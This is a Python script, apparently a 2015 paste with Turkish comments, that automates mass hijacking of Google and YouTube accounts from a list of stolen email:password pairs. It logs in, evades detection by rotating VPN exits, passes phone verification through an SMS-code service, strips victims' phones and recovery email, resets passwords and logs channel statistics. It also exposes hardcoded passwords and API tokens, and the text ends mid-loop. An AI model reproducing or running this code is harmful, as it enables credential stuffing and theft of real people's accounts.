· 11 years ago · Jul 26, 2015, 09:42 PM
1import pyautogui, pyperclip, names, requests
2import telnetlib
3from selenium import webdriver
4from selenium.webdriver.support.ui import WebDriverWait
5
6from random import randint
7from pushover import init, Client
8
9import time, random, string, os, subprocess
10from bs4 import BeautifulSoup
11
12currentdir = os.path.dirname(os.path.realpath(__file__))
13
14with open(os.path.join(currentdir, "info" , "server.txt")) as f:
15 server = f.readlines()
16
17ip = server[0].rstrip("\n")
18ACCOUNT_SID = server[1].rstrip("\n")
19AUTH_TOKEN = server[2].rstrip("\n")
20defaultEmail = "tqmedia02@gmail.com"
21defaulPassword = "tqmedia01"
22
23#api4 = "http://api4.verificationcode.net/order?token=714f25c39711a5bc3eb769166aedf68bea9434b9285758a58fdc4a10c15ece8f"
24api4 = "http://api4.verificationcode.net/order?token=1c1bab2f7fb4aedf94cdbfb4244e194900dfab291cb5d26503131992d9a1b1e7"
25#api4 = "http://api4.verificationcode.net/order?token=318e991607d0d91bc89d9ee2d772969c91bc5f475f68178af979d032646fe2fd"
26
27cities = ["USA - Austin", "USA - Chicago", "USA - Los Angeles", "USA - Miami", "USA - New York", "USA - San Francisco", "USA - Seattle", "USA - Washington"]
28#cities = ["Ireland", "Portugal", "Belgium", "Netherlands", "Luxembourg", "Denmark", "Sweden", "Iceland", "Russia", "Romania", "Norway", "United Kingdom", "Lithuania", "Italy", "Spain", "Finland", "Czech Republic", "Austria", "Germany", "France", "Switzerland", "Poland"]
29
30init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
31
32#########################################################
33################## CLICK FUNCTIONS ######################
34#########################################################
35
36def sc(x, y):
37 try:
38 pyautogui.moveTo(x, y, 0.2)
39 pyautogui.click()
40 except:
41 pass
42
43def dc(x, y):
44 try:
45 pyautogui.moveTo(x, y, 0.2)
46 pyautogui.doubleClick()
47 except:
48 pass
49
50def paste():
51 try:
52 return pyperclip.paste()
53 except:
54 pass
55def push(title, message):
56 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
57
58#########################################################
59#################### WEB FUNCTIONS ######################
60#########################################################
61
62def goTo(website):
63 pyautogui.hotkey('alt', 'd')
64 pyautogui.typewrite(website, interval=0.01)
65 pyautogui.press('enter')
66
67def goToGmail():
68 goTo("mail.google.com/mail/u/0/h/")
69 time.sleep(4)
70
71def goToEditSecond():
72 pyautogui.press('enter')
73 time.sleep(3.5)
74 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
75 time.sleep(5)
76 pyautogui.press('enter')
77
78def deletePhone():
79 time.sleep(3.5)
80 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
81 time.sleep(7)
82 text = getBody()
83 if not 'is used to reach' in text:
84 sc(1265, 388)
85 time.sleep(3)
86 sc(974, 763)
87 time.sleep(3)
88 sc(974, 715)
89 time.sleep(3)
90
91def goToChaneMyPass():
92 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
93 time.sleep(3)
94
95def goToMyAccount():
96 goTo('myaccount.google.com/?hl=en')
97 pyautogui.press('enter')
98 time.sleep(3)
99
100def getUrl():
101 pyautogui.hotkey('ctrl', 'l')
102 pyautogui.hotkey('ctrl', 'c')
103 text = paste()
104 try:
105 text = str(text)
106 except:
107 getUrl()
108 return text
109
110def getBody():
111 sc(69, 801)
112 pyautogui.hotkey('ctrl', 'a')
113 pyautogui.hotkey('ctrl', 'c')
114 text = paste()
115 try:
116 text = str(text)
117 except:
118 getBody()
119 return text
120
121def getBodyYt():
122 sc(113, 957)
123 time.sleep(1)
124 pyautogui.hotkey('ctrl', 'a')
125 pyautogui.hotkey('ctrl', 'c')
126 text = paste()
127 try:
128 text = str(text)
129 except:
130 getBody()
131 return text
132
133
134
135#########################################################
136################### GOOGLE FUNCTIONS ####################
137#########################################################
138
139def goGoogle():
140 pyautogui.hotkey('ctrl', 'l')
141 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
142 pyautogui.press('enter')
143 time.sleep(3)
144
145def loginGoogle(email, password):
146 goGoogle()
147 pyautogui.hotkey('ctrl', 'a')
148 pyautogui.press('delete')
149 pyautogui.typewrite(email)
150 pyautogui.press('enter')
151 time.sleep(2.5)
152 pyautogui.typewrite(password)
153 pyautogui.press('enter')
154
155def setNewPass():
156 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
157 time.sleep(7)
158
159
160def manuel(expassword, password):
161 goToEditSecond()
162 time.sleep(2)
163 pyautogui.moveTo(1616, 406, 1)
164
165 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
166 if(button7location != None):
167 buttonx, buttony = pyautogui.center(button7location)
168 pyautogui.click(buttonx, buttony)
169
170 text = getBody()
171 goToEditSecondEmail(text)
172
173 text = text.replace("\n", " ")
174 texts = text.split(" ")
175
176 gmail = ""
177 for t in texts:
178 if("@gmail" in t):
179 gmail = t.replace("\n", "").replace("\t", "")
180 break
181
182
183 deletePhone()
184 time.sleep(3)
185 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
186 time.sleep(4)
187 link = getUrl()
188
189 if("ServiceLogin" in link):
190 sc(865, 446)
191 pyautogui.typewrite(expassword)
192 time.sleep(2)
193 sc(979,502)
194 time.sleep(4)
195
196 sc(906, 313)
197 pyautogui.hotkey('ctrl', 'a')
198 pyautogui.typewrite(defaultEmail)
199
200 sc(1247, 356)
201 sc(1247, 356)
202
203 time.sleep(2)
204 goToChaneMyPass()
205
206 sc(860, 447)
207 sc(860, 447)
208 pyautogui.typewrite(expassword)
209 pyautogui.press('enter')
210 time.sleep(5)
211 pyautogui.typewrite(password)
212 pyautogui.press('tab')
213 pyautogui.press('tab')
214 pyautogui.press('tab')
215 time.sleep(1)
216 pyautogui.typewrite(password)
217 pyautogui.press('tab')
218 pyautogui.press('tab')
219 time.sleep(1)
220 pyautogui.press('enter')
221
222 return str(gmail) + ":" + password
223
224def goToEditSecondEmail(text):
225 pyautogui.press('enter')
226 if "First name" in text:
227 dc(627, 247)
228 pyautogui.hotkey('ctrl', 'a')
229 pyautogui.typewrite(randName)
230 pyautogui.press('tab')
231 pyautogui.typewrite(randSname)
232 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
233 time.sleep(10)
234 else:
235 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
236 time.sleep(5)
237
238def whereIsGmail(fakeName):
239
240 pyautogui.moveTo(550,560)
241 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
242 if(button7location != None):
243 buttonx, buttony = pyautogui.center(button7location)
244 pyautogui.click(buttonx, buttony)
245 else:
246 pyautogui.moveTo(1899,83, 2)
247 sc(1899,83)
248
249 dc(1132, 255)
250 pyautogui.typewrite(fakeName, interval=0.10)
251 time.sleep(1)
252 sc(1112, 326)
253 time.sleep(2)
254 dc(1135, 285)
255 pyautogui.hotkey('ctrl', 'c')
256 text = paste()
257 try:
258 text = str(text)
259 except:
260 text = ""
261
262 if("Someone" in text or "Please" in text):
263 return 2
264 elif ("Your" in text):
265 return 3
266 return 1
267
268
269def registerGmail(fakeName, fakeSurname, flag):
270
271 if(flag == 1):
272 pyautogui.doubleClick(1133, 255)
273 pyautogui.typewrite(fakeName, interval=0.10)
274 time.sleep(0.3)
275 pyautogui.press('tab')
276 pyautogui.typewrite(fakeSurname, interval=0.10)
277 time.sleep(0.3)
278 email = fakeName + fakeSurname + str(randint(3000,9999))
279 email = email.lower()
280 pyautogui.press('tab')
281 pyautogui.typewrite("johnmiller", interval=0.10)
282 time.sleep(0.3)
283 pyautogui.press('tab')
284 pyautogui.press('tab')
285 pyautogui.press('delete')
286 pyautogui.press('tab')
287 time.sleep(0.3)
288 pyautogui.press('delete')
289 pyautogui.typewrite(defaultEmail, interval=0.10)
290 pyautogui.press('enter')
291 time.sleep(2)
292 pyautogui.click(1211,378)
293 time.sleep(1)
294 pyautogui.moveTo(1154,326)
295 pyautogui.doubleClick()
296 time.sleep(2)
297 pyautogui.hotkey('ctrl', 'c')
298 gmail = paste()
299 jc = 0
300
301 while "johnmiller" == gmail and jc < 3:
302 pyautogui.click(1211,380)
303 pyautogui.moveTo(1154,326)
304 pyautogui.doubleClick()
305 pyautogui.hotkey('ctrl', 'c')
306 gmail = paste()
307 jc += 1
308
309 pyautogui.press('enter')
310 return str(gmail) + "@gmail.com"
311
312 elif(flag == 0):
313 dc(1161,255)
314 pyautogui.click()
315 time.sleep(1)
316 pyautogui.typewrite("johnmiller", interval=0.45)
317 time.sleep(2)
318 sc(1231,382)
319 time.sleep(1)
320 sc(1236,308)
321 time.sleep(1)
322 pyautogui.moveTo(1161,251)
323 pyautogui.doubleClick()
324 pyautogui.hotkey('ctrl', 'c')
325 gmail = paste()
326 time.sleep(1)
327 pyautogui.press('tab')
328 time.sleep(1)
329 pyautogui.press('tab')
330 time.sleep(1)
331 pyautogui.press('delete')
332 pyautogui.press('tab')
333 time.sleep(1)
334 pyautogui.press('delete')
335 pyautogui.typewrite(defaultEmail, interval=0.30)
336 time.sleep(1)
337 pyautogui.press('enter')
338 return str(gmail) + "@gmail.com"
339 else:
340 dc(1148, 255)
341 pyautogui.hotkey('ctrl', 'c')
342 gmail = paste()
343 sc(1193, 349)
344 pyautogui.hotkey('ctrl', 'a')
345 pyautogui.press('delete')
346 pyautogui.press('tab')
347 time.sleep(1)
348 pyautogui.press('delete')
349 pyautogui.typewrite(defaultEmail, interval=0.30)
350 time.sleep(1)
351 pyautogui.press('enter')
352 return str(gmail) + "@gmail.com"
353
354def changeAccountInfo(expassword, password, text):
355 goToEditSecondEmail(text)
356
357 t0 = time.clock()
358 url = getUrl()
359
360 while("EditUserInfo" in url):
361 if(time.clock() - t0 > 20):
362 return
363 text = getBody()
364 goToEditSecondEmail(text)
365 url = getUrl()
366
367 time.sleep(3)
368
369 deletePhone()
370 goToChaneMyPass()
371
372 time.sleep(4)
373 pyautogui.typewrite(expassword)
374 pyautogui.press('enter')
375 time.sleep(5)
376 pyautogui.typewrite(password)
377 pyautogui.press('tab')
378 pyautogui.press('tab')
379 pyautogui.press('tab')
380 time.sleep(1)
381 pyautogui.typewrite(password)
382 pyautogui.press('tab')
383 pyautogui.press('tab')
384 time.sleep(1)
385 pyautogui.press('enter')
386 return password
387
388#########################################################
389################### PHONE FUNCTIONS #####################
390#########################################################
391
392def enterPhone(phone):
393 pyautogui.typewrite(phone, interval=0.10)
394 pyautogui.press('enter')
395
396def openPhone(phone):
397 try:
398 # spoof some headers so the request appears to be coming from a browser, not a bot
399 headers = {
400 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
401 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
402 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
403 "accept-encoding": "gzip,deflate,sdch",
404 "accept-language": "en-US,en;q=0.8",
405 }
406
407 # make the request to the search url, passing in the the spoofed headers.
408 r = requests.get(api4, headers=headers) # assign the response to a variable r
409
410 # check the status code of the response to make sure the request went well
411 if r.status_code != 200:
412 print("request denied")
413 return
414 else:
415 pass
416
417 # convert the plaintext HTML markup into a DOM-like structure that we can search
418 soup = BeautifulSoup(r.text)
419
420 # each result is an <li> element with class="g" this is our wrapper
421 results = soup.findAll("td")
422
423 for i in range(len(results)):
424 if phone in results[i]:
425 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
426 code = c.split(" ")[5]
427 return code
428 return ""
429 except:
430 return ""
431def enterCode(code):
432 sc(742,382)
433 pyautogui.typewrite(code, interval=0.10)
434 pyautogui.press('enter')
435#########################################################
436################## YOUTUBE FUNCTIONS ####################
437#########################################################
438
439
440def setYoutubeDriver():
441 #changeProxy()
442 global driver
443 driver = webdriver.Firefox()
444 driver.maximize_window()
445 return driver
446
447
448def loginYoutube(email, password):
449 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
450 time.sleep(3)
451 put(".//*[@id='Email']", email)
452 fbxpath(".//*[@id='next']").click()
453 put(".//*[@id='Passwd']", password)
454 fbxpath(".//*[@id='signIn']").click()
455 time.sleep(8)
456
457def isPicassa():
458 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
459 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
460
461 if(cbutton != None and okbutton == None):
462 return 0
463 elif(cbutton == None and okbutton != None):
464 return 1
465 else:
466 return 2
467
468def regYoutube():
469 time.sleep(12)
470
471 sc(1200, 645)
472 text = None
473 while text == None:
474 pyautogui.hotkey('ctrl', 'a')
475 pyautogui.hotkey('ctrl', 'c')
476 text = paste()
477
478 if "Picasa" in text:
479 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
480 time.sleep(15)
481 return
482
483 flag = isPicassa()
484 if (flag == 1):
485 time.sleep(2)
486 sc(1175, 690)
487 return
488
489 elif(flag == 0):
490 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
491 time.sleep(15)
492 return
493
494 if(flag == 2):
495 sc(651, 704)
496 sc(666, 556)
497 sc(666, 556)
498 time.sleep(1)
499 pyautogui.moveTo(958, 792, 2)
500 pyautogui.click(958, 792)
501
502
503def addToYoutube(info):
504 try:
505 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
506 sorunlu.write(info + "\n")
507 sorunlu.close()
508 except:
509 print("Dosya acilamadi")
510
511def addToTekrar(info):
512 try:
513 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
514 sorunlu.write(info + "\n")
515 sorunlu.close()
516 except:
517 print("Dosya acilamadi")
518
519def fbxpath(xpath):
520 try:
521 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
522 except:
523 return False
524
525def put(xpath, toSend):
526 try:
527 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
528 time.sleep(1)
529 to.send_keys(toSend)
530 except:
531 return False
532
533def isShowed(xpath):
534 try:
535 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
536 return True
537 except:
538 return False
539
540def createYoutube(email, password):
541 driver.get("https://www.youtube.com/my_videos?o=U")
542 time.sleep(8)
543 text = getBody()
544
545 if("Help us keep your account secure" in text
546 or "Cookies help" in text):
547 driver.get("https://www.youtube.com/my_videos?o=U")
548 time.sleep(7)
549 text = getBody()
550
551 if "Don't get locked out" in text:
552 sc(980, 713)
553 sc(980, 713)
554 sc(980, 713)
555 time.sleep(7)
556 driver.get("https://www.youtube.com/my_videos?o=U")
557 time.sleep(7)
558
559 if "oops" in driver.current_url:
560 time.sleep(2)
561 driver.get("https://www.youtube.com/my_videos?o=U")
562
563 if "Use YouTube as..." in text:
564 sc(866 ,526)
565 driver.get("https://www.youtube.com/my_videos?o=U")
566 time.sleep(10)
567 text = getBody()
568
569 if "Create a channel" in text:
570 flag = 0
571 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
572 regYoutube()
573
574 elif "YouTube channel has content but has been disabled" in text:
575 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
576 time.sleep(3)
577 regYoutube()
578 else:
579 flag = 1
580
581 driver.get("https://www.youtube.com/analytics?o=U")
582 t0 = time.clock()
583
584 while "my_videos" in driver.current_url:
585 if time.clock() - t0 > 25:
586 addToYoutube(email +":" + password)
587 return False
588 time.sleep(2)
589 sc(1875, 91)
590 time.sleep(1)
591 sc(1853, 280)
592 time.sleep(3)
593 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
594 time.sleep(5)
595 pyautogui.typewrite(password)
596 sc(990, 580)
597 time.sleep(2)
598 url = driver.current_url
599 c = 0
600 if("Help us keep your account secure" in text
601 or "Cookies help" in text):
602 driver.get("https://www.youtube.com/my_videos?o=U")
603 time.sleep(7)
604 text = getBody()
605 while("ServiceLogin" in url and c < 3):
606 pyautogui.typewrite(password)
607 sc(990, 580)
608 time.sleep(2)
609 url = driver.current_url
610 c += 1
611 driver.get("https://www.youtube.com/my_videos?o=U")
612 try:
613 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
614 except:
615 driver.get("https://www.youtube.com/dashboard?o=U")
616 break
617 time.sleep(4)
618 sc(1170, 690)
619 driver.get("https://www.youtube.com/analytics?o=U")
620
621 time.sleep(10)
622 if "analytics" not in driver.current_url:
623 driver.get("https://www.youtube.com/analytics?o=U")
624 time.sleep(10)
625 try:
626 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
627 except:
628 date = "kontroledilecek"
629
630 driver.get("https://www.youtube.com/dashboard?o=U")
631 time.sleep(5)
632 if "dashboard" not in driver.current_url:
633 driver.get("https://www.youtube.com/dashboard?o=U")
634 time.sleep(5)
635 try:
636 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
637 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
638 except:
639 return
640 if len(views) > 7:
641 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
642 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
643 time.sleep(2)
644 channelUrl = driver.current_url
645
646 if("2005" in date):
647 dateFile = 2005
648 elif("2006" in date):
649 dateFile = 2006
650 elif("2007" in date):
651 dateFile = 2007
652 elif("2008" in date):
653 dateFile = 2008
654 elif("2009" in date):
655 dateFile = 2009
656 elif("2010" in date):
657 dateFile = 2010
658 elif("2011" in date):
659 dateFile = 2011
660 elif("2012" in date):
661 dateFile = 2012
662 elif("2013" in date):
663 dateFile = 2013
664 elif("2014" in date):
665 dateFile = 2014
666 elif("2015" in date):
667 dateFile = 2015
668 else:
669 dateFile = "kontroledilecek"
670 print(str(date))
671 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
672
673
674def saveYoutube(email, password, url, dateFile, date, subscriber, views):
675 try:
676 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views) + "::" + defaultEmail
677 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
678 hesaplar.write(info + "\n")
679 hesaplar.close()
680 except:
681 print("Dosya acilamadi.")
682
683#########################################################
684#################### SAVE FUNCTIONS #####################
685#########################################################
686
687def addToGmail(info):
688 try:
689 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
690 hesaplar.write(info + "\n")
691 hesaplar.close()
692 except:
693 print("Dosya acilamadi.")
694
695def addToCop(info):
696 try:
697 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
698 cop.write(info[0] + ":" + info[1])
699 cop.close()
700 except:
701 print("Dosya acilamadi.")
702
703def addToOzel(info):
704 try:
705 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
706 ozel.write(info[0] + ":" + info[1])
707 ozel.close()
708 except:
709 print("Dosya acilamadi.")
710
711def addToTekrar(info):
712 try:
713 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
714 ozel.write(info[0] + ":" + info[1])
715 ozel.close()
716 except:
717 print("Dosya acilamadi.")
718def addToTekrarYT(info):
719 try:
720 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
721 ozel.write(info)
722 ozel.close()
723 except:
724 print("Dosya acilamadi.")
725
726def addToCaptcha(info):
727 try:
728 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
729 ozel.write(info[0] + ":" + info[1])
730 ozel.close()
731 except:
732 print("Dosya acilamadi.")
733
734def addToYoutube(info):
735 try:
736 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
737 sorunlu.write(info + "\n")
738 sorunlu.close()
739 except:
740 print( "Dosya acilamadi")
741
742def updateList(i):
743 try:
744
745 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
746 fout.writelines(content[i+1:])
747 except:
748 print("Dosya acilamadi.")
749
750
751#########################################################
752################## DRIVER FUNCTIONS #####################
753#########################################################
754
755def createDriver():
756 pyperclip.copy('')
757 global loginC
758 loginC = 0
759 os.system("taskkill /f /t /im firefox.exe")
760 changeProxy()
761 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
762 time.sleep(7)
763
764def changeProxy():
765
766 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
767 # Path to OpenVPN program
768 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
769 # Path to username/password
770 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
771 # Path to config file. What's server do you want connect to?
772
773 vpn_mgt_host = "127.0.0.1"
774 vpn_mgt_port = "7777"
775 c = random.randint(0, 7)
776 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\" + cities[c] + ".ovpn"
777 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
778 "--management-hold", "--config", vypr_conf,
779 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
780
781 # Delete all tap devices
782 subprocess.call("deltapall.bat", shell=True)
783
784 # Add tap devices
785 subprocess.call("addtap.bat", shell=True)
786
787 # Run OpenVPN daemon but management hold
788 prog = subprocess.Popen(vpn_params, shell=True,
789 stdin=None, stdout=None, stderr=None, close_fds=True)
790
791 # vpn_pid = prog.pid
792
793 # Connect to OpenVPN management daemon
794 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
795 # Turn on log
796 tn.write(("log on\r\n").encode('ascii'))
797 time.sleep(1)
798 # Hold release
799 tn.write(("hold release\r\n").encode('ascii'))
800 time.sleep(2)
801 # Waiting to OpenVPN connected
802 time.sleep(15)
803 print ("Connected to " + cities[c])
804
805def endSession():
806 pyautogui.hotkey('alt', 'f4')
807 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
808 time.sleep(5)
809 updateList(i)
810 createDriver()
811
812def checkSuccess(failC, sucC, loginC):
813 if loginC > 30:
814 endSession()
815 if i % 50 != 0:
816 return
817 try:
818 failRate = failC / sucC
819 except:
820 failRate = failC
821
822 if failRate > 49:
823 updateList(i)
824
825 if failRate > 500:
826 push("Hata Cogaldi!", "Hata orani 500u gecti! " + ip)
827 sys.exit(1)
828
829with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
830 content = f.read().splitlines(True)
831with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
832 phones = f.read().splitlines(True)
833######################################################
834
835failC = 0
836sucC = 0
837
838k = 0
839p = 0
840print(str(len(content)) + " adet hesap var.")
841createDriver()
842try:
843 for i in range(len(content)):
844 checkSuccess(failC, sucC, loginC)
845 try:
846 info = content[i].split(":")
847 email = info[0]
848 password = info[1].rstrip("\n")
849 if(len(password) < 6 or "@" not in email):
850 continue
851 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
852 print("Succes: " + str(sucC) + " Fail: " + str(failC))
853 chars = string.ascii_letters + string.digits
854 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
855 randName = names.get_first_name(gender='male')
856 randSname = names.get_last_name()
857 except:
858 addToOzel(content[i].split(":"))
859 time.sleep(2)
860 continue
861 try:
862 phone = phones[p].rstrip("\n")
863 except:
864 p = 0
865 phone = phones[p].rstrip("\n")
866
867 try:
868 loginGoogle(email, password)
869 loginC += 1
870 except:
871 addToCop(info)
872 continue
873
874 if "gmail" in email:
875 time.sleep(6)
876 else:
877 time.sleep(3)
878 text = getBody()
879
880 if("One account. All of Google." in text
881 or "Sorry, Google doesn't recognize" in text
882 or "Your Google Account is managed by" in text
883 or "Sorry, we can't process" in text
884 or "Google" not in text
885 or "We've detected unusual activity" in text
886 or "2-Step verification" in text
887 ):
888
889 if("Letters are" in text or "Firefox" in text):
890 addToCaptcha(info)
891 endSession()
892 k = 0
893 continue
894 elif "privacy reminder" in text:
895 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
896 time.sleep(5)
897 else:
898 addToCop(info)
899 failC += 1
900 k = 0
901 continue
902 elif ("Letters are" in text):
903 addToCaptcha(info)
904 k = 0
905 endSession()
906 continue
907 elif "Please re-enter" in text:
908 addToOzel(content[i-1].split(":"))
909 endSession()
910 elif "Firefox" in text:
911 addToCaptcha(info)
912 k = 0
913 endSession()
914 elif "Google" not in text:
915 addToCop(info)
916 failC += 1
917 k = 0
918 continue
919 else:
920 time.sleep(3)
921 url = getUrl()
922
923 url = getUrl()
924 if "privacyreminder" in url:
925 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
926 time.sleep(7)
927 url = getUrl()
928
929 if "VerifiedPhoneInterstitial" in url:
930 time.sleep(2)
931 sc(1113,800)
932 time.sleep(5)
933 url = getUrl()
934
935 elif not "google" in url:
936 addToCop(info)
937 failC += 1
938 continue
939
940 elif "LoginVerification" in url:
941 text = getBody()
942 if("Tell us the city" in text
943 or "Answer your secret question" in text
944 or "Enter your recovery" in text
945 or "Android" in text
946 or "Receive a verification" in text
947 or "Tell us your phone number" in text):
948 if("Enter a phone" not in text
949 or "Sorry, we can't process" in text):
950 addToCop(info)
951 failC += 1
952 continue
953 if "Tell us the city" in text:
954 sc(747, 452)
955 else:
956 sc(745,427)
957 enterPhone(phone)
958 time.sleep(4)
959 text = getBody()
960 sc(758, 618)
961
962 while "already" in text :
963 p += 1
964 if(p == len(phones)):
965 p = 0
966 phone = phones[p].rstrip("\n")
967 sc(742,382)
968 pyautogui.hotkey('ctrl', 'a')
969 pyautogui.press('delete')
970 code = openPhone(phone)
971 enterCode(code)
972 time.sleep(5)
973 text = getBody()
974 sc(758, 618)
975 if "until in text":
976 continue
977
978 cC = 0
979 while cC < 3:
980 sc(742,382)
981 pyautogui.hotkey('ctrl', 'a')
982 pyautogui.press('delete')
983 code = openPhone(phone)
984 enterCode(code)
985 time.sleep(5)
986 url = getUrl()
987 if not "LoginVerification" in url:
988 break
989 else:
990 time.sleep(6)
991 cC += 1
992
993
994 elif("ChangePassword" in url):
995 setNewPass()
996 newPass = defaulPassword + "\n"
997 password = defaulPassword + "\n"
998 goToGmail()
999
1000 elif("google" not in url or "ServiceLoginAuth" in url):
1001 addToCop(info)
1002 failC += 1
1003 continue
1004
1005 elif("RecycledEmailInterstitial" in url
1006 or "AccountRecoveryOptionsPrompt" in url
1007 or "myaccount" in url):
1008 time.sleep(3)
1009 goToGmail()
1010
1011 elif("EmailNotVerified" in url):
1012 time.sleep(3)
1013 goToGmail()
1014 time.sleep(4)
1015 url = getUrl()
1016 if("ServiceLogin" in url):
1017 sc(882,448)
1018 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1019 pyautogui.press('enter')
1020 time.sleep(4)
1021 url = getUrl()
1022 time.sleep(3)
1023
1024 else:
1025 print("-----RAPOR EDILMELI!!!!")
1026 addToOzel(info)
1027 endSession()
1028 continue
1029
1030 time.sleep(9)
1031 url = getUrl()
1032 time.sleep(1)
1033 try:
1034 sc(1899,83)
1035 except:
1036 pass
1037 if "privacyreminder" in url:
1038 sc(1231, 984)
1039 time.sleep(2)
1040 sc(1231, 984)
1041 time.sleep(5)
1042 goToGmail()
1043 time.sleep(5)
1044 url = getUrl()
1045 if("EmailNotVerified" in url):
1046 time.sleep(3)
1047 goToGmail()
1048 time.sleep(5)
1049 url = getUrl()
1050 if("ServiceLogin" in url):
1051 sc(882,448)
1052 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1053 pyautogui.press('enter')
1054 time.sleep(3)
1055 url = getUrl()
1056 time.sleep(6)
1057
1058 if("myaccount" in url):
1059 goToGmail()
1060 time.sleep(5)
1061 url = getUrl()
1062
1063 if("ServiceLogin" in url):
1064 sc(882,448)
1065 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1066 pyautogui.press('enter')
1067 time.sleep(3)
1068 url = getUrl()
1069
1070 if("AccountRecoveryOptionsPrompt" in url):
1071 addToTekrar(info)
1072 continue
1073
1074 if("mail/" in url):
1075 gmail = manuel(password, newPass)
1076 g = gmail.split(":")
1077 gmail = g[0]
1078 newPass = g[1]
1079
1080 elif("ChangePassword" in url):
1081
1082 setNewPass()
1083 newPass = defaulPassword + "\n"
1084 password = defaulPassword + "\n"
1085 time.sleep(8)
1086 goToGmail()
1087 time.sleep(5)
1088 url = getUrl()
1089 if("mail/" not in url):
1090 flag = whereIsGmail(randName)
1091 if(flag==1):
1092 gmail = registerGmail(randName, randSname, 1)
1093 goToEditSecond()
1094 text = getBody()
1095
1096 try:
1097 if(not "@gmail.com" in text):
1098 addToOzel(info)
1099 failC += 1
1100 endSession()
1101 continue
1102 except:
1103 pass
1104
1105 newPass = changeAccountInfo(password, newPass, text)
1106
1107 elif(flag==2):
1108 gmail = registerGmail(randName, randSname, 0)
1109 goToEditSecond()
1110 text = getBody()
1111
1112 try:
1113 if(not "@gmail.com" in text):
1114 addToOzel(info)
1115 failC += 1
1116 endSession()
1117 continue
1118 except:
1119 pass
1120
1121 newPass = changeAccountInfo(password, newPass, text)
1122
1123 elif(flag == 3):
1124 addToCop(info)
1125 failC += 1
1126 endSession()
1127 continue
1128 else:
1129 gmail = manuel(newPass, newPass)
1130 g = gmail.split(":")
1131 gmail = g[0]
1132 newPass = g[1]
1133
1134 elif("inbox" in url):
1135 gmail = manuel(password, newPass)
1136 g = gmail.split(":")
1137 gmail = g[0]
1138 newPass = g[1]
1139
1140 elif("AddMailService" in url):
1141 pyautogui.moveTo(1899,83)
1142 time.sleep(1)
